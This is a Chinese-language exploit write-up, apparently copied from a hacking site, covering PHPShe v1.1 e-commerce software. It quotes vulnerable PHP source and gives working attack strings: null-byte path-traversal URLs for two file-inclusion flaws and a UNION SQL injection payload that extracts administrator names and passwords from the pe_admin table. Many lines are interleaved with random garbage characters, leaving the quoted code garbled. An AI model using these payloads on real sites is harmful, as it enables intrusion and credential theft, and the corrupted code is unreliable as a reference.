phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
, Q( B) B" J# P8 c, R' T/* ========================
+ r- a. i- @" [6 L# F- R/* By: : Kn1f3
/* E-Mail : 681796@qq.com
2 _% r8 o7 G6 n3 q' p$ r7 c/*******************************************************/
0 I8 J- W/ ?  x) Q+ t, c* R: H0×00 整体大概参数传输


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& _/ Q: U+ G9 M1 I; Q//common.php
if (get_magic_quotes_gpc()) {
/ D- W/ O# c% N!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
& K0 y6 q2 f" Z- t; U!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
7 R, X8 k5 g# Z) ^}
5 a1 S2 ]7 o& M" ^else {
& L; ~0 x- r2 d" a, i!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
/ d, p/ Y1 @$ J7 n! H$ q9 c( }& J- s!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
7 o' e/ n& o' ~" d! E9 n; ?session_start();
! t5 [8 L+ [0 g$ E' `' `. I!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

3 U$ @4 M5 @) G, G0×01 包含漏洞

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//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
6 a% m5 ^. a& L- ninclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
# R( I; f2 E1 v  cpe_result();
?>
$ L# G: N4 R, K% G) L//common 文件 第15行开始
url路由配置
: Z3 Y( W- S% \- s* I$module = $mod = $act = 'index';
) i: C+ Y4 ~& o, n! E) J$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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; P/ P4 m, K; r
0×02 搜索注入

<code id="code2">

//product.php文件
* u( D: \6 E; t  P/ b$ pcase 'list':
$category_id = intval($id);
& n" r0 s: ?9 r$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
8 p0 `0 A; [2 y9 m& o# g3 U" Ipe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
& s( Q8 v/ k5 {8 ], C' B/ a$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
% ]) p6 d8 @5 |* }if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
' N; c+ w$ L+ S; z# U$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
  v3 D0 |0 t- R: velse {
$sqlwhere .= " order by `product_id` desc";
) W7 ~7 @2 r; \# s4 V; R}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
7 t& ]% {. ~8 o: L8 _//热卖排行
% q9 I& g9 X  B9 D6 G  E3 \8 b$product_hotlist = product_hotlist();
  T# J. H& [' [1 l//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
7 O* g8 t9 \( x; P$ o* q  `//跟进selectall函数库
0 x" ?1 X, Y2 j3 [9 C- A) Fpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
( w6 B* [6 ~- |+ G: A' B4 n& Q. breturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
$ h- w- n, j- u! w  j( K}
4 T) @% y" m- p0 @) f/ v9 O+ _//exp
" Y' A2 R% R1 o; y% _product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
5 r$ E3 x1 Q9 B& A

</code>
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! E2 c' U' {- J. D0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

( d, V1 u% V- Y0 ]8 Dforeach($cache_payway as $k => $v) {

9 z! t$ q4 P0 k- {, y/ a- h$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

5 s! I/ c6 N/ H' J' i}

}

- n& h* a8 J5 T/ N$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

6 N# ^, }1 }% b!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

; q4 a; H1 r( a/ z% Oif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

7 A* G  n4 o6 k2 r- u$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
% G( r6 s7 }( W1 u7 n$ p- u

% O' E- v8 R) {" x}

echo '正在为您连接支付网站，请稍后...';

; ^( V. g3 s/ n& @' g$ Ninclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

3 D7 @# l5 M! c( f: melse {

  V% N5 k0 d5 w/ b# `' npe_error('支付错误...');

}

$ ^' I( `' c# ]. E% d}

$seo = pe_seo('选择支付方式');

( H9 C/ V7 I; E# J* @include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
- y4 H& i" f3 \" bhttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg